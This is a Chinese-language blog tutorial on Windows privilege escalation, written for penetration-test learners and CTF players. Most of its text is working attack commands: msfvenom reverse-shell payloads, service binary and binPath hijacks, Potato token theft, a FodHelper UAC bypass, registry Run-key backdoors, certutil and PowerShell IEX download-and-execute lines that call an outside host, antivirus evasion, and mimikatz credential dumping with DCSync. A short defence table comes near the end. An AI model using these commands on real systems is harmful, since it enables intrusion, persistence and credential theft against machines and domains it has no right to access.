PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】Windows提权实战:从普通用户到SYSTEM全路径

📅 2026年6月7日 📁 Hermes Agent ⏱ 6 分钟

【教程】Windows提权实战:从普通用户到SYSTEM全路径

适合人群:渗透测试初学者、红队成员、CTF选手

前置知识:Windows基本命令、用户权限概念、网络基础

实验环境:Windows 10/Server 2022 虚拟机(建议在隔离环境中操作)


一、前置准备

1.1 工具准备


# 信息收集脚本 — 一键扫描提权线索
# 上传到目标机后执行
# winPEAS (推荐,功能最全)
# 下载: https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe

# PowerUp — PowerShell提权检查
# Import-Module .\PowerUp.ps1; Invoke-AllChecks

# SharpUp — C#版快速检查
# 下载: https://github.com/GhostPack/SharpUp

# Windows Exploit Suggester — 内核漏洞检测
# https://github.com/AonCyberLabs/Windows-Exploit-Suggester

1.2 环境准备(靶场搭建)


# 创建低权限测试用户
net user lowuser Passw0rd! /add
net localgroup users lowuser /add

# 常见测试场景:以低权限用户登录
runas /user:lowuser cmd

# 或通过 Webshell/Beacon 获得初始 Shell 后操作
whoami
# → xxxxxx\lowuser

二、核心原理

Windows提权的本质

从低权限用户(User/Network Service)获取更高权限(Administrator/SYSTEM)的过程

Windows 的权限体系金字塔:


SYSTEM(最高 — 内核级权限)
    ↑
  Administrator(管理员 — 可安装软件、修改配置)
    ↑
  Standard User(标准用户 — 受限)
    ↑
  Guest / Network Service(最低)

五种核心提权路径

路径原理利用难度实战频率
内核漏洞利用Windows内核bug直接提权⭐⭐⭐⭐⭐低(需要补丁缺失)
服务权限配置服务启动路径/权限配置可写⭐⭐很高
令牌窃取窃取高权限进程的Impersonation Token⭐⭐很高
AlwaysInstallElevatedMSI安装包以SYSTEM权限运行中等
UAC绕过以管理员身份但UAC弹窗未提权,绕过到high integrity⭐⭐⭐较高
注册表/计划任务可写注册表Run键、计划任务劫持⭐⭐较高

信息收集 — 提权的第一步(最关键)


# 查看当前用户权限
whoami /all

# 查看系统信息(版本、补丁)
systeminfo

# 查看已安装的补丁
wmic qfe list brief

# 查看进程列表
tasklist /v

# 查看服务
wmic service list brief

# 查看计划任务
schtasks /query /fo LIST /v

三、实操步骤

🔴 场景一:服务权限配置错误(最经典)

原理:Windows 服务的 BINARY_PATH_NAME 或可执行文件所在目录权限配置不当,低权限用户可以修改。

Step 1:查找可写服务


# 使用 winPEAS 快速扫描
winPEASx64.exe servicesinfo

# 或手动使用 sc 查询
sc query state= all | findstr "SERVICE_NAME"

# 检查每个服务的二进制路径权限
# 重点:BINARY_PATH_NAME 所在目录当前用户有写入权限
icacls "C:\Program Files\SomeService\service.exe"

Step 2:替换服务二进制


# 如果服务二进制所在目录当前用户可写
# 生成恶意 exe(在攻击机上用 msfvenom)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe -o evil.exe

# 上传到目标机,替换服务文件
copy evil.exe "C:\Program Files\SomeService\service.exe"

# 重启服务触发 payload
sc stop SomeService
sc start SomeService

# 或等待服务器重启

Step 3:更简单的方式 — 修改 BINARY_PATH_NAME


# 如果当前用户对目标服务有 SERVICE_CHANGE_CONFIG 权限
# 直接修改服务启动路径
sc config SomeService binPath= "cmd /c net localgroup administrators lowuser /add"
sc stop SomeService
sc start SomeService

# 验证
net localgroup administrators

🔴 场景二:令牌窃取(Token Impersonation)

原理:低权限进程如果有 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege,可窃取高权限进程的令牌。

Step 1:检查令牌权限


whoami /priv

# 重点关注以下权限
# SeImpersonatePrivilege — 模拟令牌
# SeAssignPrimaryTokenPrivilege — 分配主令牌
# SeTcbPrivilege — 作为操作系统一部分(等价SYSTEM)

权限清单:

权限说明存在即可利用
SeImpersonatePrivilege模拟用户令牌✅ JuicyPotato/RoguePotato
SeAssignPrimaryTokenPrivilege分配主令牌✅ PrintSpoofer/PipePotato
SeTcbPrivilege操作系统特权✅ 直接SYSTEM
SeBackupPrivilege备份权限✅ 可读注册表SAM
SeDebugPrivilege调试权限✅ 注入其他进程

Step 2:使用工具窃取令牌


# 方式一:JuicyPotatoNG(Windows Server 2008-2019)
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami > C:\temp\result.txt"

# 方式二:PrintSpoofer(Windows 10/Server 2016+ 推荐)
PrintSpoofer64.exe -i -c "cmd /c whoami"

# 方式三:GodPotato(Windows Server 2012-2022 通杀)
GodPotato.exe -cmd "cmd /c whoami"

# 方式四:通过 MSF 的 incognito 模块
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

🔴 场景三:AlwaysInstallElevated

原理:两组注册表项被设置为 1 时,普通用户安装 MSI 包将以 SYSTEM 权限运行。

Step 1:检查注册表


reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# 两个都应返回 0x1

Step 2:生成恶意 MSI


# 攻击机上生成恶意 MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=5555 -f msi -o evil.msi

# 上传到目标机后执行
msiexec /quiet /qn /i evil.msi

注意:AlwaysInstallElevated 在域环境中不多见(安全基线通常关闭),但在某些本地配置和个人电脑上常出现。


🔴 场景四:UAC绕过

原理:用户是 Administrators 组成员,但进程以 medium integrity 运行,需要绕过 UAC 提升到 high integrity


# 使用 FodHelper UAC绕过
# 修改注册表添加恶意键值
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\System32\cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f

# 触发
fodhelper.exe

# 新窗口将以管理员权限运行

四、Payload 与速查表

Windows提权Payload速查表

场景工具/命令一句话操作
内核提权Windows-Exploit-Suggesterpython wes.py systeminfo.txt → 匹配EXP
服务劫持sc config / PowerUpsc config VulnSvc binPath= "cmd /c ..."
令牌窃取PrintSpoofer / GodPotatoPrintSpoofer64.exe -i -c whoami
AlwaysInstallmsfvenom MSImsiexec /quiet /i evil.msi
UAC绕过FodHelper / EventVwrreg add ... fodhelper.exe
DLL劫持Process Monitor找缺失的DLL路径 → 写入恶意DLL
启动项劫持HKLM\...\Runreg add HKLM\...\Run /v Backdoor /d "evil.exe"
注册表AutorunHKCU\...\RunOncereg add HKCU\...\RunOnce /v Updater /d "payload.exe"

常用提权命令速查


# 1. 查看系统版本与补丁
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"

# 2. 查看当前用户权限
whoami /groups
whoami /priv

# 3. 查找可写目录
icacls C:\Windows\Temp
icacls C:\ProgramData
icacls C:\Users\Public

# 4. 查找未引用的服务路径
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\"

# 5. 查看存储的凭据
cmdkey /list
dir /s C:\Users\*password* 2>nul
dir /s C:\Users\*cred* 2>nul

# 6. 查看计划任务
schtasks /query /fo LIST /v | findstr "Task To Run" /i

# 7. 查看注册表自动启动
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

五、实战案例复盘

案例:内网渗透中的Windows提权链

场景:通过Spring Boot漏洞获得 iis apppool\defaultapppool 权限的Webshell。

信息收集


whoami /priv
# → SeImpersonatePrivilege 存在!

利用令牌窃取 → SYSTEM


# 上传 PrintSpoofer
certutil -urlcache -f http://x.x.x.x/PrintSpoofer64.exe C:\temp\ps.exe
C:\temp\ps.exe -i -c "cmd /c whoami"
# → nt authority\system

横向移动


# 拿到 SYSTEM 后导出域管理员凭据
mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords

# 如果抓不到明文,用 DCSync
mimikatz lsadump::dcsync /domain:target.com /user:krbtgt

一句话总结iis apppoolSeImpersonatePrivilegePrintSpooferSYSTEMDCSync域控,这条链在内网实战中出现频率极高。


六、防御建议

防御措施说明针对
及时打补丁每月更新Windows安全补丁内核提权
最小权限原则服务使用低权限账户运行服务劫持
关闭SeImpersonate服务账户移除模拟权限令牌窃取
启用UACUAC级别设为始终通知UAC绕过
关闭AlwaysInstallElevated组策略设为0且禁止修改MSI提权
限制可写目录系统目录禁止普通用户写入DLL劫持
AppLocker限制白名单以外的程序执行任意Payload
LAPS统一管理本地管理员密码本地提权后横向

七、常见陷阱

⚠️ 陷阱1:误判系统架构

x86 的提权工具无法在 x64 进程执行。检查目标机架构再选工具:


# 检查系统架构
echo %PROCESSOR_ARCHITECTURE%
# AMD64 → 用64位工具
# x86 → 用32位工具

⚠️ 陷阱2:杀软拦截

上传提权工具可能被杀软拦截。应对方案:


# 1. 使用 PowerShell 内存加载
IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/script.ps1')

# 2. 使用 C# 反射加载
# 3. 使用进程注入绕过扫描
# 4. 或使用自带工具(certutil/powershell/reg)

⚠️ 陷阱3:服务恢复设置

手动启动服务失败后,Windows可能配置服务恢复操作(如重启服务器)。操作前先查看:


sc qfailure VulnSvc

⚠️ 陷阱4:域策略限制

域环境下的组策略可能覆盖本地配置。AlwaysInstallElevated、UAC设置都受域策略影响——本地改了也没用,要检查 gpresult /z

⚠️ 陷阱5:令牌窃取 — IIS版本兼容

  • JuicyPotato 仅支持 Windows Server 2012/2016/2019(不支持 Win10 家庭版)
  • PrintSpoofer 支持 Windows 10/11 + Server 2016/2019/2022
  • GodPotato 支持范围最广(Server 2012-2022)

八、总结

Windows提权方法论流程图


获得低权限Shell
    ↓
信息收集(第一步也是最重要的一步)
    ├─ whoami /priv(检查特权)
    ├─ systeminfo(检查补丁)
    ├─ sc query(检查服务)
    └─ 运行winPEAS(自动收集)
    ↓
判断最优提权路径
    ├─ SeImpersonatePrivilege → PrintSpoofer/GodPotato → SYSTEM
    ├─ 未修补漏洞 → Windows Exploit Suggester → MSF Exploit
    ├─ 可写服务路径 → sc config 替换二进制 → SYSTEM
    ├─ AlwaysInstallElevated=1 → msiexec恶意MSI → SYSTEM
    ├─ 在管理员组但UAC → FodHelper绕过 → 管理员
    └─ 其他 → 检查计划任务/注册表Run/存储凭据
    ↓
提权成功 → 横向移动/凭据提取

核心速查

阶段做什么常用命令
信息收集看什么能用whoami /priv, systeminfo, winPEAS
快速提权令牌窃取PrintSpoofer64.exe -i -c "cmd /c whoami"
服务劫持找可写路径icacls "C:\Program Files\*"
内核漏洞匹配EXPpython3 wes.py systeminfo.txt
防御绕过内存加载IEX (New-Object Net.WebClient).DownloadString(...)

记住:实战中 80% 的提权靠信息收集,不是靠复杂的0day。跑一遍 winPEAS 再决定提权路径,往往比盲目尝试各种工具更快。

← 返回首页